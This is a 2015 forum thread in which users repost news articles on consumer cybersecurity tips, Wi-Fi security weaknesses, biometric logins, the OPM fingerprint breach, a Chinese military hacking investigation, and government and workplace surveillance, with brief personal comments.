“It's really about what you do as a user,” said Bill Balint, chief information officer at IUP.

One of the key things to do is to keep programs and software up to date. Such updates — sometimes called patches — are often released to fix breaches found in the program's security and stay ahead of hackers.

“Hackers find ways to exploit,” Balint said. “They keep scanning ports and different IP addresses looking for that vulnerable one that hasn't been patched. Then they can go to town.

“Whether it's an operating system or a web browser, you have to really pay attention to keep your systems patched.”

Paul Grieggs, IUP's IT security manager, said he has heard of cases similar to Smith's. Hackers now can steal Wi-Fi passwords and also use programs remotely to take over computers.

“If they get a foothold in your computer, they can install these programs and basically control your computer,” he said.

Grieggs cautions that hackers can strike anywhere at any time, so it pays to be vigilant.

“If you follow some basic tips, a lot of times what happens is a hacker will move on to an easier target,” he said. “You don't have to be a cyber security expert in your home. But if you follow some basic practices to stay safe, they'll move on.”

Julie E. Martin is a staff writer for Trib Total Media.
   

 


Battling hackers

• Phishing. Never respond to an email asking for your user name and password, even if it looks official. And do not click on links in emails that ask you for this personal information. Instead, open the organization's website in a separate browser.

• Stay up to date. Updates for computer programs include “patches” that address security weaknesses. Without them, hackers may find weak spots that they can use to access your computer and personal information.

• Have a strong password. Use a combination of upper and lower case letters, numbers and special characters that is at least eight characters long.

• If you suspect you have been hacked, usually the best thing to do is shut your internet connection immediately. It is also important to contact your internet provider, Grieggs said.

• Experts recommend checking out websites with information in cyber safety such as the following: www.staysafeonline.org; www.fbi.gov/scams-safety/computer_protect; www.michigan.gov/cybersecurity
From Indiana University of Pennsylvania

Title: Re: they know what you are doing
Post by: space otter on September 09, 2015, 11:07:48 am

http://netsecurity.about.com/od/secureyourwifinetwork/a/4-Secrets-Wireless-Hackers-Do-Not-Want-You-To-Know.htm?utm_source=zergnet&utm_medium=tcg&utm_campaign=zergnet-test-295620

By Andy O'Donnell
Security Expert
 

4 Secrets Wireless Hackers Don't Want You to Know

Hacker: Nothing to see here. Please don't bother reading this.

You're using a wireless access point that has encryption so you're safe, right? Wrong! Hackers want you to believe that you are protected so you will remain vulnerable to their attacks. Here are 4 things that wireless hackers hope you won't find out, otherwise they might not be able to break into your network and/or computer:

1. WEP encryption is useless for protecting your wireless network. WEP is easily cracked within minutes and only provides users with a false sense of security.

Even a mediocre hacker can defeat Wired Equivalent Privacy (WEP)-based security in a matter of minutes, making it essentially useless as a protection mechanism. Many people set their wireless routers up years ago and have never bothered to change their wireless encryption from WEP to the newer and stronger WPA2 security.

2. Using your wireless router's MAC filter to prevent unauthorized devices from joining your network is ineffective and easily defeated.

Every piece of IP-based hardware, whether it's a computer, game system, printer, etc, has a unique hard-coded MAC address in its network interface. Many routers will allow you to permit or deny network access based on a device's MAC address. The wireless router inspects the MAC address of the network device requesting access and compares it your list of permitted or denied MACs. This sounds like a great security mechanism but the problem is that hackers can "spoof" or forge a fake MAC address that matches an approved one. All they need to do is use a wireless packet capture program to sniff (eavesdrop) on the wireless traffic and see which MAC addresses are traversing the network. They can then set their MAC address to match one of that is allowed and join the network.

3. Disabling your wireless router's remote administration feature can be a very effective measure to prevent a hacker from taking over your wireless network.

Many wireless routers have a setting that allows you to administer the router via a wireless connection. This means that you can access all of the routers security settings and other features without having to be on a computer that is plugged into the router using an Ethernet cable. While this is convenient for being able to administer the router remotely, it also provides another point of entry for the hacker to get to your security settings and change them to something a little more hacker friendly. Many people never change the factory default admin passwords to their wireless router which makes things even easier for the hacker. I recommend turning the "allow admin via wireless" feature off so only someone with a physical connection to the network can attempt to administer the wireless router settings.

4. If you use public hotspots you are an easy target for man-in-the-middle and session hijacking attacks.

Hackers can use tools like Firesheep and AirJack to perform "man-in-the-middle" attacks where they insert themselves into the wireless conversation between sender and receiver. Once they have successfully inserted themselves into the line of communications, they can harvest your account passwords, read your e-mail, view your IMs, etc. They can even use tools such as SSL Strip to obtain passwords for secure websites that you visit. I recommend using a commercial VPN service provider to protect all of your traffic when you are using wi-fi networks. Costs range from $7 and up per month. A secure VPN provides an additional layer of security that is extremely difficult to defeat. Unless the hacker is extremely determined they will most likely move on and try an easier target.

Related Articles
•Wireless Security for Home Users FAQ
•Securing Your New Wireless Router
•How To Hide Your Wireless Network From the Neighbors
•WPA2? WEP? What's The Best Encryption To Secure My Wi-Fi?
•5 Tips for Securing Your Wireless Network
•How to Make Your Wireless Router Invincible to Hackers
Title: Re: they know what you are doing
Post by: space otter on September 10, 2015, 07:53:50 am

ok and then what happens when your face pic gets hacked?...ecckk shdes of robot control..double eckk


http://www.msn.com/en-us/news/technology/nuke-all-your-computer-passwords-says-intel-exec-intc/ar-AAe7C3i?li=AAa0dzB

Tech Insider
Eugene Kim
11 hrs ago

Nuke all your computer passwords, says Intel exec (INTC)


Let's face it: no one likes passwords.

With all the different websites and devices you log into, it's become almost impossible to keep track of all the passwords you have.

But what if you could forget about passwords and log in instantly using something else, like your face or finger prints?

Intel thinks that's a real possibility — and something you can do right away.

"We want to eliminate all passwords from computing," Kirk Skaugen, Senior VP and general manager of Intel's Client Computing Group said at the Citi Global Technology Conference held on Tuesday. "I can confidently say today, you can eliminate all your passwords today, if you buy a 6th Generation Core system."

Skaugen was referring to the new 6th Generation Core chips Intel released last week, which powers some of the latest Windows 10 devices that come with some of the new facial recognition software, like Windows Hello. To enjoy the full functionality of Windows Hello, you also need Intel's RealSense 3D Camera, which looks at multiple angles to detect the photo's depth and heat to determine the user's identity.

"You can do everything from measure blood pressure, blink detection, all these kinds of things...In fact, in Berlin, one of my funniest demos in my 23 yeras at Intel is when I brought two identical twins out on stage and I mixed them up and only one could log in with the PC, and it actually worked," he said.

That's not the first time twins were used to validate how Intel's RealSense Camera works on Windows Hello. Last month, The Australian tested six sets of identical twins of various ethnicities and age ranges to prove it works seamlessly. Not a single twin was able to log in using the sibling's log-in photo.

Intel has been pretty vocal about killing the password. Earlier this year, it also released an app called True Key which lets users log in to multiple apps using biometric features, like the distance between your eyes or different points on your face. Late last year, Intel also acquired a startup called PasswordBox that makes it easy for users to log-in to websites and apps without having to type in passwords.

In fact, Intel's CEO Brian Krzanich believes these features will even help revive PC sales. During his last earnings call, he said, "A lot of the really good features of Windows 10, things like Windows Hello where you have facial log in, and you don’t have to use all your passwords, the Start screen and your ability to go through that, the touch usages of gaming, as the new games come to this product — those are going to run with PCs that have the latest features," he said.

"That, combined with products like Skylake over the long haul, I think Windows 10 will be a boost to the PC market."

NOW WATCH: How To Make Sure You Never Forget Your Passwords Again


Title: Re: they know what you are doing
Post by: zorgon on September 11, 2015, 05:27:06 pm
Can your "smart TV" watch you?

Pay attention to the part about SKYPE :D

http://www.cbsnews.com/news/can-your-smart-tv-watch-you/

Sorry no embed available
Title: Re: they know what you are doing
Post by: ArMaP on September 12, 2015, 05:09:08 am
Let's face it: no one likes passwords.
I like passwords. :)

Biometrics is interesting but it's based on something that can change out of our control, so no thanks.
Title: Re: they know what you are doing
Post by: ArMaP on September 12, 2015, 05:38:23 am
Can your "smart TV" watch you?

Pay attention to the part about SKYPE :D
And the same applies to the Facebook app.
Title: Re: they know what you are doing
Post by: Sinny on September 13, 2015, 08:12:24 am
The UK will be Minority Report in just a few short years. 
Already we have bio-metrics installed in schools and some places of employment.

In order to set up my new smart phone I literally had to sell all rights to my privacy. 

I've had to continue. I need these services to progress in the system. 

I hope the rebellion cometh soon,  I'd rather live in dystopia than this virtual  prison. 

The schools over here are tipping the scales in NWO agenda.  I don't have kids yet, but all my friends do and every other day they are being requested to give up their lawful rights over their children by the state. 

I can see why so many people are currently at war with our so called social services. If I were to have children right now,  I would be in permanent battle with the local authorities in regards to their Nazi policies. 
Title: Re: they know what you are doing
Post by: ArMaP on September 13, 2015, 09:19:42 am
In order to set up my new smart phone I literally had to sell all rights to my privacy. 

I've had to continue. I need these services to progress in the system.

I hope the rebellion cometh soon,  I'd rather live in dystopia than this virtual  prison. 
Just by looking at your post we can see why rebellion isn't expected in the near future. :)
Title: Re: they know what you are doing
Post by: space otter on September 18, 2015, 07:03:32 pm



http://www.huffingtonpost.com/entry/behavioral-science-government_55fb2a91e4b00310edf66328?utm_hp_ref=technology

Alexander Howard
Senior Editor for Technology and Society, The Huffington Post
Posted: 09/18/2015 05:06 PM EDT | Edited: 4 hours ago


The Government Is Learning How To Change Your Behavior -- Supposedly For Your Own Good

Governments should be obligated to disclose how behavioral science and technology are used in public policy


Not every effort to change how we make choices will go flat like the soda ban that former Mayor Michael Bloomberg's administration tried to impose upon the people of New York City.

That effort, which ultimately fell apart after beverage companies sued the city and a court ruled that the public health department had exceeded its regulatory authority, is probably the best known example of a government trying to change how consumers make a given choice.

The idea behind New York City's ban seemed simple enough: people will drink less soda if they're forced to buy a smaller portion. If they wanted another cup of soda, they could go get one -- but overall, people would drink less of it, reducing the risk of obesity or diabetes.

Bloomberg's soda ban became a political football, with a national debate breaking out over whether the government should be able to tell you to get a smaller cup for your drink or not. Public health advocates supported it. Beverage companies saw a risk to their bottom lines. Critics saw it as a restriction of individual freedom, with Big Brother meeting Big Mother.

But despite the controversy, a growing number of governments have been experimenting with applying behavioral science to identify the reasons that people make poor choices about health or their finances, tweaking the way options are presented in randomized trials to assess the results.   

This week, President Barack Obama issued an executive order to make behavioral science part of more U.S. government policies and programs, following the promising early results of various experiments by the White House Social and Behavioral Sciences Team:

By improving the effectiveness and efficiency of Government, behavioral science insights can support a range of national priorities, including helping workers to find better jobs; enabling Americans to lead longer, healthier lives; improving access to educational opportunities and support for success in school; and accelerating the transition to a low-carbon economy." -- President Barack Obama 

In the NPR interview embedded below, Maya Shankar, the team's chairwoman, told host Robert Siegel about their first annual report's findings. 


listen  at link


In past years, conservatives have decried the Obama administration's use of behavioral science as liberal paternalism, or the 21st century version of the nanny state.

But research by law professor Cass Sunstein, the former head of the Office of Information and Regulatory Affairs, suggests people don't oppose the use of behavioral science in public policy; only the outcomes of their political opponents using it. How governments communicate and present choices to the public can be now be tested and improved on an unprecedented scale, and in various forms and contexts.

By deciding to make opting in for organ donation the default choice at the Department of Motor Vehicles, for example, or by automatically enrolling people in retirement savings plans, it's possible to achieve improved social outcomes without huge expense.

Similarly, it can be beneficial to "nudge" people about important deadlines or tasks -- say, when school administrators send text messages to accepted college students as a reminder that they should actually go ahead and enroll in school. Nudges might take the form of a letter, email, text message or other prompt, like the one below.



<iframe frameborder="0" src="http://opotxfind.hrsa.gov/widgets/organDonor.html" width="243" height="198" title="Organ Donor Widget" scrolling="no">http://datawarehouse.hrsa.gov/</iframe>



Agencies can now test different versions of the language used in forms using randomized trials and analyze which ones work better, thus improving websites and digital services.

We should want them to do so, frankly: no one wants to spend extra time filling out forms and applications on a government website, or, more seriously, not to understand crucial questions or details.

Results can improve even more when this approach is coupled with new technologies in non-governmental contexts, like a "smart toothbrush" connected to an app, and incentives, like lower dental insurance premiums for better hygiene.

The U.S. government is far from alone in experimenting with applying behavioral insights to making public policy. As The Guardian reports, there now are "nudge units" in Australia, Singapore and Germany, in addition to the British "Behavioural Insights Team."

That group, founded in 2010, has quadrupled in size and has been spun out of the British government as a private "social purpose" company, taking on projects around the world.  In April 2015, the BIT entered into a three-year partnership with Bloomberg Philanthropies on its new What Works Cities initiative.



As consumers share more of their personal data for apps and services that help them make choices about their health, energy use, education or finances, they will also need crystal-clear disclosures about how the government chooses to present these choices, beyond notices in the Federal Register.

Baking the evidence gathered from behavioral science into public policy is not without controversy or risk, and concerns about the "nanny state" or privacy abound.

As presidents and prime ministers decide to move forward with this approach, it's crucial that they effectively disclose their rationales for the decisions behind the decisions to lawmakers and the public, so that the consent of the governed is not an afterthought.
Title: Re: they know what you are doing
Post by: space otter on September 21, 2015, 03:52:45 pm



http://www.huffingtonpost.com/entry/net-neutrality-fcc_5600431be4b0fde8b0cf20b3

Dana Liebelson
Staff Reporter, The Huffington Post
Posted: 09/21/2015 02:36 PM EDT | Edited: 3 hours ago


Tech Giants, Democrats Go To Bat For Net Neutrality Rules In Court

"Once again, big broadband is on the wrong side of history."



WASHINGTON -- Tech giants and Democratic lawmakers filed briefs in court this week defending the strong net neutrality rules  approved  by the Obama administration. Telecom and cable companies are suing the Federal Communications Commission in an effort to overturn the rules.
 
Net neutrality refers to the principle that all Internet traffic should be treated equally, meaning Internet Service Providers cannot charge content producers a premium for giving users more reliable access to content. In February, the FCC voted 3-2 on party lines to approve strong rules to protect net neutrality, a landmark decision that was widely supported by the American public.

Major tech companies, longtime supporters of net neutrality, have recently ramped up their support in court. The Internet Association -- a trade group that represents Google, Facebook, Twitter, Amazon and other companies -- filed a legal brief, dated Sept. 20, backing the rules.

Over two dozen lawmakers, including Sen. Bernie Sanders (I-Vt.), who caucuses with Senate Democrats, and Nancy Pelosi, the highest-ranking House Democrat, filed their own supportive brief on Monday. "This Court should affirm the FCC’s Order as entirely consistent with the authority delegated to the Commission by Congress," the filing reads.

AT&T and the CTIA-The Wireless Association, as well as the National Cable & Telecommunications Association, whose members include Comcast, sued the FCC in April in the U.S. Court of Appeals for the District of Columbia Circuit. (Verizon, the parent company of The Huffington Post, is a member of CTIA.)

These companies contend that the agency overstepped when it ruled to reclassify consumer broadband as a utility service under Title II of the Telecommunications Act. The agency's rules also applied to mobile access.

"It is, in short, a sweeping bureaucratic power grab by a self-appointed 'Department of the Internet,'" reads a joint brief for the petitioners, filed in July. Telecom and cable companies say the rules will hamper innovation, a criticism backed by Republicans on Capitol Hill, who have attempted to gut the rules.

The Internet Association pushed back against critics' claim that the rules will hamper business development. "The open Internet fuels a virtuous circle of innovation," their brief reads.

Public interest and civil rights groups support the new regulations on the basis that they promote Internet freedom.

"We also talk about the Internet as a powerful tool for political and social expression that allows communities of color, in particular, to shed light on issues and events that often go unnoticed by traditional mass media," Steven Renderos, the senior campaign manager for the Center for Media Justice, said on Monday during a call with reporters.

Althea Erickson, the policy director for Etsy, said on the call that an open Internet allows microentrepreneurs to compete with much bigger brands. She noted that 30,000 Etsy sellers contacted Congress and the FCC in support of open Internet protections, going so far as to put their comments on engraved spoons and embroidered pillows.

"By putting in place strong net neutrality rules, the FCC made clear that the Internet is open for business," Sen. Ed Markey (D-Mass.) said on the call.

"Once again, big broadband is on the wrong side of history," he added

Title: Re: they know what you are doing
Post by: space otter on September 23, 2015, 02:16:10 pm
http://www.reuters.com/article/2015/09/23/us-usa-cybersecurity-fingerprints-idUSKCN0RN1V820150923

Wed Sep 23, 2015 3:50pm EDT
Related:  Tech,  Cybersecurity 
WASHINGTON  |  By David Alexander


5.6 million fingerprints stolen in U.S. personnel data hack: government


vid at link


Hackers who stole security clearance data on millions of Defense Department and other U.S. government employees got away with about 5.6 million fingerprint records, some 4.5 million more than initially reported, the government said on Wednesday.

The additional stolen fingerprint records were identified as part of an ongoing analysis of the data breach by the Office of Personnel Management and the Department of Defense, OPM said in a statement. The data breach was discovered this spring and affected security clearance records dating back many years.

The news came just ahead of a state visit to Washington by Chinese President Xi Jinping. U.S. officials have privately blamed the breach on Chinese government hackers, but they have avoided saying so publicly.

President Barack Obama has said cybersecurity will be a major focus of his talks with Xi at the White House on Friday. The United States has told China that industrial espionage in cyberspace by its government or proxies is "an act of aggression that has to stop," Obama said recently.

U.S. officials have said no evidence has surfaced yet suggesting the stolen data has been abused, though they fear the theft could present counterintelligence problems.

White House spokesman Josh Earnest said on Wednesday the investigation into the data breach, which affected the records of some 21.5 million federal workers, was continuing and he did not "have any conclusions to share publicly about who may or may not have been responsible."
 
He indicated the OPM announcement was not related to Xi's visit but instead came about because officials at OPM had met with members of Congress and told them about the fingerprints and so needed to release the information to the public as well.

Officials from OPM and the Defense Department only recently discovered that the additional fingerprints had been stolen as they continued to assess the data breach, OPM said in a statement.

During that process, officials "identified archived records containing additional fingerprint data not previously analyzed," the OPM statement said. As a result, the estimated number of people who had fingerprint records stolen rose to 5.6 million from the 1.1 million initially reported, it said.
 
OPM said the total number of people affected by the breach was still believed to be 21.5 million.

The agency downplayed the danger posed by stolen fingerprint records, saying the ability to misuse the data is currently limited. But it acknowledged the threat could increase over time as technology evolves.

"An interagency working group with expertise in this area ... will review the potential ways adversaries could misuse fingerprint data now and in the future," it said.
 
The group includes members of the intelligence community as well as the FBI, Department of Homeland Security and the Pentagon.

"If, in the future, new means are developed to misuse the fingerprint data, the government will provide additional information to individuals whose fingerprints may have been stolen in this breach," OPM said.

Senator Ben Sasse, a Nebraska Republican who has accused the administration of failing to take cybersecurity seriously, said the OPM announcement was further evidence that officials viewed the data breach as "a PR (public relations) crisis instead of a national security threat."

The individuals affected by the breach have not yet been notified. The OPM statement said the personnel office and Defense Department were working together to begin mailing notifications to those affected.


(Additional reporting by Jeff Mason and Mark Hosenball; Editing by Susan Heavey and Andrew Hay)

Title: Re: they know what you are doing
Post by: Gigas on September 23, 2015, 02:55:32 pm
Ya that finger print face recognition sounds good till they pick you up on a warrant for downloading songs, movies, porn and heretic small talk about the dot gov. They'll know exactly who to hook up then. Still , its a good idea protecting the personal technology in your possession from thieves heisting your devices and turning them into zombie hack tools on the deep dark web of mystery.
Title: Re: they know what you are doing
Post by: space otter on September 23, 2015, 08:01:33 pm


http://www.msn.com/en-us/news/world/cyber-sleuths-track-hacker-to-chinas-military/ar-AAeGSl7?li=AAa0dzB
The Wall Street Journal.
Josh Chin
5 hrs ago


Cyber Sleuths Track Hacker to China's Military


KUNMING, China—The email attachment would tempt anyone following the diplomatic standoff between China and other countries in the South China Sea. The Microsoft Word document contained text and photos depicting Thai naval personnel capturing Vietnamese fishermen and forcing them to kneel at gunpoint.

But the attachment was a decoy: Anyone who opened it inadvertently downloaded software that searched their computers for sensitive information and sent it to an obscure corner of the Internet. Manning that corner, according to a new report from U.S. security researchers, was Ge Xing, a member of a Chinese military reconnaissance unit.

The growing reach of China’s army of cyberwarriors has become a flash point in relations between Beijing and Washington that President Barack Obama says will be a focus during Chinese President Xi Jinping ’s state visit to the U.S. this week.

Cyberspace is the newest domain in warfare, and China’s relentless testing of its boundaries has flustered the U.S. The story of the Chinese military staffer’s alleged involvement in hacking provides a detailed look into Beijing’s sprawling state-controlled cyberespionage machinery.

Mr. Ge doesn’t appear to fit the hacker stereotype. His published academic papers identify him as an expert in a nontechnical subject: Thai politics. Frequent posts on Chinese social media that researchers have linked to him show him to be a new father and avid bicyclist who drives a white Volkswagen Golf sedan and occasionally criticizes the government.

But his activity elsewhere on the Internet links him to a Chinese hacker collective that attacks targets in an area of strategic interest to the U.S., according to the report by cybersecurity concern ThreatConnect and security consulting firm Defense Group Inc.

The U.S. has been caught flat-footed in recent months by a string of cyberintrusions in which Chinese state-sponsored hackers are the leading suspects. They include the theft of sensitive personal data on millions of government employees from computers at the U.S. Office of Personnel Management, and similar network breaches at health insurers and other companies.

Under pressure to respond, the White House has begun preparing a list of sanctions against Chinese companies that U.S. officials believe have benefited from cybertheft of U.S. corporate secrets, Mr. Obama said last week. Those sanctions, if implemented, wouldn’t address state-to-state hacking.

Beijing has bristled at U.S. finger-pointing on cybersecurity and portrayed itself as a victim of hacking, pointing to disclosures by former U.S. security contractor Edward Snowden of U.S. government cyberspying on China. “Cybertheft of commercial secrets and hacking attacks against government networks are both illegal,” Mr. Xi told the Journal in a written interview prior to embarking on his U.S. visit. “Such acts are criminal offenses and should be punished according to law and relevant international conventions.”

The ThreatConnect-DGI report helps throw new light on a still little-understood aspect of China’s cyber operations: the relationship between the country’s military and an aggressive corps of Chinese-speaking hackers that appear to be pressing the country’s interests abroad.

Through accounts allegedly tied to Mr. Ge, the report draws a direct link between his unit, People’s Liberation Army Unit 78020, a military intelligence arm based in China’s southwest, and a hacker collective known as Naikon that security researchers say has successfully penetrated key computer networks in countries competing with China for control over the South China Sea.

“What we see from Chinese intrusions is that they have a very grass roots, bottom-up kind of model,” said James Mulvenon, director of DGI’s Center for Intelligence Research and Analysis. “They have a lot of groups that are encouraged with relatively vague guidance to go out and develop hundreds of accesses and bring back lots of data.”

Two academic papers on Thailand’s political situation Mr. Ge published in 2008 identify him as working for Unit 78020, a technical reconnaissance bureau based in the southwestern Chinese city of Kunming. It is one of more than two dozen such bureaus within the PLA tasked with intelligence gathering, analysis and computer network defense and exploitation, according to Mark Stokes, executive director at Virginia think tank Project 2049 Institute and an authority on the role of China’s military in signals intelligence like cyberspying.

Unit 78020 is controlled by the PLA’s Chengdu Military Region, which is responsible for securing Tibet as well as China’s borders with Vietnam, Myanmar and India. Another reconnaissance bureau under the Chengdu Military Region was responsible for the hacking of computer networks connected to exiled Tibetan spiritual leader the Dalai Lama, Mr. Stokes said. Given the region’s focus on the border, “it also makes sense that they would do collections related to the South China Sea,” he said.

Staff with Unit 78020’s propaganda office declined requests for an interview. A spokesman for Chengdu Military Region referred questions to the defense ministry, which didn’t respond to requests for comment. The foreign ministry also didn’t respond to requests for comment.

The ThreatConnect-DGI report makes the connection between the unit and the hacking group by matching Mr. Ge’s alleged activity on social media, where he uses the name greensky27, with activity on a part of Naikon’s network that also uses the greensky27 name. The Wall Street Journal reviewed the report before its publication, verifying its observations of Mr. Ge’s social-media activity and other evidence linking him to Unit 78020 and Naikon.

Researchers at PassiveTotal, a U.S. cybersecurity threat analysis company that provided some of the data for the report, said the report offered fair insight into how data about the use of hackers’ infrastructure can be used to track and identify potential threats.

In a brief phone conversation with the Journal in August, Mr. Ge confirmed he uses the greensky27 name on social media but declined to speak further when told he was the subject of a report. “If you publish, I’ll call the police,” he said and hung up before hearing the substance of the report. He didn’t answer subsequent phone calls or questions later sent by text message.

The greensky27 Naikon domain went dormant within an hour of the Journal’s phone conversation with Mr. Ge, according to ThreatConnect. Recent visits to the domain show it is still offline.

Named by experts after a piece of code found in malware it once used, Naikon sends well-crafted emails to trick recipients into opening attachments infected with malicious software, according to researchers. Infected attachments they have used include a calendar of Laotian beauty contestants, news stories and memos on strategic topics in English and local languages, and memos that appear to be based on classified information, according to a May report by Russian antivirus maker Kaspersky Lab.

Relying on this technique—known as spearphishing—Naikon has penetrated the networks of governments, military, media and energy companies in Vietnam, the Philippines and other countries throughout Southeast Asia, Kaspersky said. “Their success rate has been high,” said Kurt Baumgartner, principal security researcher at Kaspersky. “When they want to get in, they get in.”

China’s claims to sovereignty over vast swaths of the South China Sea—one of the world’s busiest shipping routes—have sparked conflict with many of its neighbors, including U.S. ally the Philippines. Beijing has rejected U.S. criticisms of its claims, saying territorial disputes should be settled bilaterally between those directly affected. It has also pressed ahead with island-building in disputed areas, raising tensions the U.S. fears could destabilize the region.

The malicious software Naikon uses to spy on its targets is “stone age” compared with what Russian hackers use, said Richard Barger, chief intelligence officer at ThreatConnect, but it doesn’t necessarily need to be advanced. “The targets they’re most likely going up against, this would be sophisticated for them,” he said.
ThreatConnect said it found Mr. Ge through a break in Naikon’s usual pattern. To siphon off stolen information without being detected, Naikon uses hundreds of special Internet domains—akin to Web addresses—that are able to connect at various places around the Internet. The names of most of those domains appear to refer to targets or are designed to mimic legitimate websites in target countries, but the greensky27 domain didn’t fit either of those criteria, ThreatConnect said.

Looking at the greensky27 domain’s activity over a five-year period, researchers found it making an unusually large number of long-lasting connections to Internet addresses in the southwestern Chinese city of Kunming, according to the report. Chinese-language analysts at DGI followed that lead and discovered multiple Internet accounts making references to Kunming that used the same greensky27 name.

Comparing the domain with the social-media accounts, the researchers found a pattern. In February 2012, for example, the domain made a series of connections to Internet servers in Beijing on the same dates a user posting under greensky27 on Tencent Holdings Ltd.’s microblogging platform indicated that he was visiting the city. The domain went dormant for more than a week in November that same year, starting the day a user named greensky27 posted a message announcing the birth of a boy surnamed Ge on a discussion board maintained by Chinese search giant Baidu Inc., the report said.

DGI said it found a clue to Mr. Ge’s identity in photos posted on the greensky27 Tencent account in 2013 that showed a visit to what it called the Ge family ancestral temple in Yuxi county, about 50 miles south of Kunming. Digging around further online, DGI said it found Mr. Ge’s full name and phone number, as well as the academic papers listing Mr. Ge as working for Unit 78020. Mr. Ge’s rank in the military and specific role within the unit are unclear, the researchers said.

A series of skyline snapshots Mr. Ge allegedly posted online during work hours between 2011 and 2013 confirm an affiliation with the military. Taken from the same vantage point, they show a view of a tall apartment tower that could have been captured only from inside a military complex located in downtown Kunming.

Another series of photos showed snow-covered cars in a parking lot with a water tower in the background that also indicated they were shot from inside the military compound, the report said. “Little Golf and his buddies,” he wrote, in apparent reference to his car and to those parked around it.

On a recent visit to the complex by a Journal reporter, security personnel confirmed the compound belongs to Unit 78020 of the People’s Liberation Army. Staff with the unit’s propaganda office wouldn’t say whether Mr. Ge worked there.

The user was coy about discussing his military background on social media. The Tencent account listed him as having attended PLA International Studies University in 1998. In 2014, he posted photos of a visit to the university’s campus in the city of Nanjing with a short message: “Just posting photos, not explaining, look for yourself.” A couple of weeks later he posted photos of a PLA firefighter demonstration and from an event celebrating the PLA’s 87th anniversary. “Not explaining,” he wrote again.

Some of his early posts contained cryptic political and social commentary. “Faith = Whatever the party tells me to do, I do,” he wrote in a post in July 2012. In another post the previous fall, he repeated a common joke about China’s state TV broadcaster’s tendency to emphasize the positive in its nightly news show: “I have a dream—to always live inside Xinwen Lianbo.”

After the birth of his son in late 2012, his posts focused on family life, the weather and travel. One post early the following year featured a picture of a cluster of villas. “Ten year goal,” he wrote. The Tencent account was deleted within a day of the Journal’s call to Mr. Ge.

Activity on the greensky27 domain indicates a relatively regular work schedule. The domain connected to the Naikon network around 9 a.m., went quiet around lunch and typically signed off around 6 p.m., according to the report.

The domain also tended to go dormant around China’s annual Spring Festival holiday, the report said, but there were exceptions. In early 2012, according to ThreatConnect, the domain went silent for Spring Festival only to suddenly come to life the weekend of Jan. 27, a day after news broke that a delegation from the Philippines had launched talks in Washington over military cooperation with the U.S.

Data collected by ThreatConnect show frequent connections between the hacker domain and Internet addresses in Thailand beginning in 2012. Those connections began to tail off in May 2014, after the U.S. indictments of five PLA officers on charges of commercial cybertheft. China has denied the allegations.

The social-media feeds attributed to Mr. Ge indicate he spends much of his time either playing with his son or riding, repairing and talking about his mountain bike. Xiong Junwu, a bike shop owner and founder of Kunming’s Fattire Fun Bike Club, recognized a photo of Mr. Ge and said he occasionally joined the club’s weekly rides in the Kunming area.

Like many Chinese outdoors enthusiasts, Mr. Ge sometimes turned wistful when contemplating polluted skies. “Today’s air is only average,” he wrote next to a photo of a gray sky taken from inside the Unit 78020 compound. “Wishing peace to everyone and tranquility to the world.”

Title: Re: they know what you are doing
Post by: space otter on September 28, 2015, 08:41:06 pm


I am sooo glad to be outta the work thing..well work for pay thing..i'ld be bustin the robots..sigh



http://www.huffingtonpost.com/entry/the-age-of-surveillance-at-work-is-upon-us_56098494e4b0768126fe7a96

Shane Ferro
Business Reporter, The Huffington Post
Posted: 09/28/2015 04:17 PM EDT



The Age Of Surveillance At Work Is Upon Us

Thanks a lot, technology.

The scariest part of the automated workplace is probably not that robots are coming to take your job -- it's that the robots are coming to measure your job.

Economist Tyler Cowen explains in the recently released 2015 edition of MIT Technology Review's Future of Work report, the real economic threat of automation is constant measurement of employees' performance. In the future, no small amount of slacking off at your desk will go unnoticed.

Worse, this doesn't even really fall under "the future of work." It's already the reality:

Insofar as workers type at a computer, everything they do is logged, recorded, and measured. Surveillance of workers continues to increase, and statistical analysis of large data sets makes it increasingly easy to evaluate individual productivity, even if the employer has a fairly noisy data set about what is going on in the workplace.

According to Cowen, the most productive employees are likely to see huge benefits, and everyone else will be left behind. That will create great inequality, but also likely great stress in the workplace. Constant measurement can equate to constant criticism.

"Individuals don’t in fact enjoy being evaluated all the time, especially when the results are not always stellar: for most people, one piece of negative feedback outweighs five pieces of positive feedback," writes Cowen.

He also point out points out that we've already seen this in journalism. The young writers who were able to command huge audiences just when the technology appeared to track those audiences (think Ezra Klein and Nate Silver) were able to turn their popularity into paydays, even as many of their colleagues saw the journalism landscape getting bleaker post-2008.

So what's next? More measurement, of course!

Looking further ahead, and more speculatively, employers might request genetic information from workers. Anyone who doesn’t want to turn it over might be seen as having something to hide," Cowen writes.



Good luck out there, less-than-perfectly-productive brethren. It's probably time to get back to work.
Title: Re: they know what you are doing
Post by: space otter on September 28, 2015, 08:47:39 pm

"Today over half the people on this planet don’t have access   




http://www.huffingtonpost.com/entry/facebook-mark-zuckerberg-internet-un-refugees_5609bb7ee4b0768126fecfe8

Matt Ferner
National Reporter, The Huffington Post
Posted: 09/28/2015 09:40 PM EDT


Mark Zuckerberg: Facebook To Bring Internet Access To UN Refugee Camps

The project appears to dovetail with a Facebook partnership to provide Internet access to the entire planet.


Facebook will help provide Internet access to United Nations refugee camps around the world, Mark Zuckerberg, CEO and founder of the social media giant, said over the weekend.

Zuckerberg provided limited details about the plan, which will be in partnership with the U.N. High Commissioner for Refugees, the world body's refugee agency. He made the announcement Saturday at the U.N. Private Sector Forum at U.N. headquarters in New York.

"Connectivity will help refugees better access support from the aid community and maintain their links to family and loved ones," Zuckerberg said. "And Facebook is in a unique position to help maintain this lifeline."

The number of people forcibly displaced from their homes as a result of persecution, violence or human rights violations has surpassed 50 million -- a first since World War II. Millions of those people are temporarily staying in more than 100 U.N. refugee camps.

The number of refugees continues to rise, in part due to the conflict in Syria that makes life there a daily threat. About 4 million people have fled Syria into neighboring countries in what the U.N. says is the largest refugee crisis in a quarter-century. Millions more have been displaced within the country.

Facebook's plan to connect refugees with loved ones appears to coincide with the goals of a partnership the company has forged with ONE Campaign, a global nonprofit advocacy group fighting extreme poverty. The partnership has said it will support a goal U.N.partner nations pushed forward last week as part of their Agenda for Sustainable Development to provide Internet access to the entire planet by 2020.

Zuckerberg and Bono, the U2 frontman and ONE founder, called for increased support for global connectivity from the private sector, and laid out challenges of actually achieving the goal, in a New York Times op-ed published the same day as Zuckerberg's U.N. remarks.

"Today over half the people on this planet don’t have access," Zuckerberg and Bono wrote. "That is not good for anyone -- not for the disempowered and disconnected, and not for the other half, whose commerce and security depend on having stable societies." They said access to the Internet is a key pathway to increased global cooperation and equality.

